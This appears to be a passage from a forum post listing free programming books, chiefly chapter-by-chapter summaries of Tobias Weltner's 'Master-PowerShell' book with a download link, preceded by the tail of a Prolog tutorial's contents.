Clause Grammars * 8 More Definite Clause Grammars * 9 A Closer Look at Terms * 10 Cuts and Negation * 11 Database Manipulation and Collecting Solutions * 12 Working With Files Online: http://www.learnprolognow.org/
  25. Master-PowerShell With Dr. Tobias Weltner # Chapter 1. The PowerShell Console Welcome to PowerShell! This chapter will introduce you to the PowerShell console and show you how to configure it, including font colors and sizes, editing and display options. # Chapter 2. Interactive PowerShell PowerShell has two faces: interactivity and script automation. In this chapter, you will first learn how to work with PowerShell interactively. Then, we will take a look at PowerShell scripts. # Chapter 3. Variables It is time to combine commands whenever a single PowerShell command can't solve your problem. One way of doing this is by using variables. PowerShell can store results of one command in a variable and then pass the variable to another command. In addition, variables are rich 'objects' and can do much more than simply store data. In this chapter, we'll explain what variables are and how you can use them to solve complex problems. # Chapter 4. Arrays and Hashtables No matter how many results a command returns, you can always store the results in a variable because of a clever trick. PowerShell automatically wraps results into an array when there is more than one result. In this chapter, you'll learn how arrays work. You'll also discover a special type of array, a hash table. While normal arrays use a numeric index to access their elements, hash tables use key-value-pairs. # Chapter 5. The PowerShell Pipeline The PowerShell pipeline chains together a number of commands similar to a production assembly. So, one command hands over its result to the next, and at the end, you receive the result. # Chapter 6. Using Objects PowerShell always works with objects. Whenever you output objects into the PowerShell console, PowerShell automatically converts the rich objects into readable text. In this chapter, you will learn what objects are and how to get your hands on PowerShell objects before they get converted to simple text. # Chapter 7. Conditions You'll need a condition first to compose intelligent PowerShell code capable of making decisions. That's why you'll learn in the first part of this Chapter how to formulate questions as conditions. In the second part, you'll employ conditions to execute PowerShell instructions only if a particular condition is actually met. # Chapter 8. Loops Loops are a good example that iterations do not have to be boring. They repeat particular PowerShell statements with the pipeline being one of the areas where you can benefit from loops. Most PowerShell commands wrap their results in arrays, and you'll need a loop when you want to examine single elements in an array more closely. # Chapter 9. Functions PowerShell has the purpose of solving problems, and the smallest tool it comes equipped with for this is commands. By now you should be able to appreciate the great diversity of the PowerShell command repertoire: in the first two chapters, you already learned how to use the built-in PowerShell commands called cmdlets, as well as innumerable external commands, such as ping or ipconfig. In Chapter 6, the objects of the .NET framework, API calls, and COM component statements were added, providing you with a powerful arsenal of commands. In Chapters 3-5, command chains forged out of these countless single commands combined statements either by using variables or the PowerShell pipeline. The next highest level of automation is functions, which are self-defined commands that internally use all of the PowerShell mechanisms you already know, including the loops and conditions covered in the last two chapters. You can also use functions to get the better of the more complex problems that consist of many separate instructions and sequences. # Chapter 10. Scripts PowerShell scripts function like batch files in the traditional console: scripts are text files that can include any PowerShell code. If you run a PowerShell script, PowerShell will read the instructions in it, and then execute them. As a result, scripts are ideal for complex automation tasks. In this chapter, you'll learn how to create and execute scripts. PowerShell makes certain requirements mandatory for their execution because scripts can contain potentially dangerous statements. Depending on the security setting and storage location, scripts must have a digital signature or be specified with their absolute or relative path names. These security aspects will also be covered in this chapter. # Chapter 11. Finding and Avoiding Errors The more complex your commands, pipelines, functions, or scripts become, the more often that errors can creep in. PowerShell has its own remedies for finding and correcting errors at various levels of complexity. In simple cases, use "what-if" scenarios to check whether a command or a pipeline is really doing what you expect it to do. With the help of such scenarios, you can simulate the result of commands without actually executing the commands. You can permit commands to do their work only after you're convinced that the commands will function flawlessly. If you've written your own functions or scripts, PowerShell can also step through the code and halt its execution at locations called breakpoints, which allow you to examine functions or scripts more closely at these locations. You can verify whether variables actually do contain an expected result. Moreover, PowerShell offers you the option of integrating debugging messages into functions or scripts. This enables your code to output progress reports to you at key locations when your code is in the development stage. # Chapter 12. Command Discovery and Scriptblocks In previous chapters you learned step by step how to use various PowerShell command types and mechanisms. After 11 chapters, we have reached the end of the list. You'll now put together everything you've seen. All of it can actually be reduced to just two PowerShell basic principles: command discovery and scriptblocks. The purpose of this chapter is to tie up the many loose ends of previous chapters and to weave them into a larger whole: the basics are complete and the remaining chapters will put the knowledge gained to the test of daily tasks. # Chapter 13. Text and Regular Expressions PowerShell distinguishes sharply between text in single quotation marks and text in double quotation marks. PowerShell won't modify text wrapped in single quotation marks but it does inspect text in single quotation marks and may modify it by inserting variable contents automatically. Enclosing text in double quotation marks is the foremost and easiest way to couple results and descriptions. The formatting operator -f, one of many specialized string operators, offers more options. For example, you can use -f to output text column-by-column and to set it flush. Other string commands are also important. They can replace selected text, change case, and much more. Pattern recognition adds a layer of complexity because it uses wildcard characters to match patterns. In simple cases, you can use the same wildcards that you use in the file system. Substantially more powerful, but also more complex, are regular expressions. # Chapter 14. XML Raw information used to be stored in comma-separated lists or .ini files, but for some years the XML standard has prevailed. XML is an acronym for Extensible Markup Language and is a descriptive language for any structured information. In the past, handling XML was difficult, but PowerShell now has excellent XML support. With its help, you can comfortably wrap data in XML as well as read existing XML files. # Chapter 15. The File System The file system has special importance within the PowerShell console. One obvious reason is that administrators perform many tasks that involve the file system. Another is that the file system is the prototype of a hierarchically structured information system. In coming chapters, you'll see that PowerShell controls other hierarchical information systems on this basis. You can easily apply what you have learned about drives, directories, and files in PowerShell to other areas, including the registry or Microsoft Exchange. # Chapter 16. The Registry You can navigate the Windows registry just as you would the file system because PowerShell treats the file system concept discussed in Chapter 15 as a prototype for all hierarchical information systems. # Chapter 17. Processes, Services, Event Logs In your daily work as an administrator, you often have to deal with programs (processes), services, and innumerable entries in event logs so this is a good opportunity to put into practice the basic knowledge you gained from the first 12 chapters. The examples and topics covered in this chapter are meant to give you an idea of the full range of options. In the course of your reading, you will no doubt rack your brains occasionally and find yourself flipping back pages to the introductory chapters. What's really astonishing are the many and diverse options you have in using the PowerShell pipeline (as discussed in Chapter 5) and associated formatting cmdlets to wring out every last bit of data from pipeline objects. What was just dry theory in Chapter 5 will now become very interesting in the following. # Chapter 18. WMI: Windows Management Instrumentation It might have escaped your attention, but the Windows Management Instrumentation (WMI) service introduced with Windows 2000 has been part of every Windows version since then. The WMI service is important because it can retrieve information about nearly every aspect of your system and can even make some modifications. However, it would be beyond the scope of this book to go into WMI in greater depth because that alone could fill another volume. For this reason, we will focus on how the WMI service basically works and how PowerShell handles it. # Chapter 19. User Management For many administrators, managing users is an important part of their work. PowerShell v1 does not contain any cmdlets to manage users. However, you can add them from third-party vendors. But if you do not want any dependencies on third-party tools and snap-ins, you will learn in this chapter how to use native .NET framework methods for user management. # Chapter 20. Your Own Cmdlets and Extensions Since PowerShell is layered on the .NET framework, you already know from Chapter 6 how you can use .NET code in PowerShell to make up for missing functions. In this chapter, we'll take up this idea once again. You'll learn about the options PowerShell has for creating command extensions on the basis of the .NET framework. You should be able to even create your own cmdlets at the end of this chapter. # Administrator's Guide to Powershell Remoting This paper explains how to set up and run Windows PowerShell Remoting which is a new feature in Windows PowerShell 2.0 and allows you to run Windows PowerShell commands and scripts remotely. So, before moving on, make sure you have Windows PowerShell 2.0 RTM on your machines. Download: http://powershell.com/Mastering-PowerShell.pdf Sursa: Master-PowerShell | With Dr. Tobias Weltner - Powershell.com
×
×
  • Create New...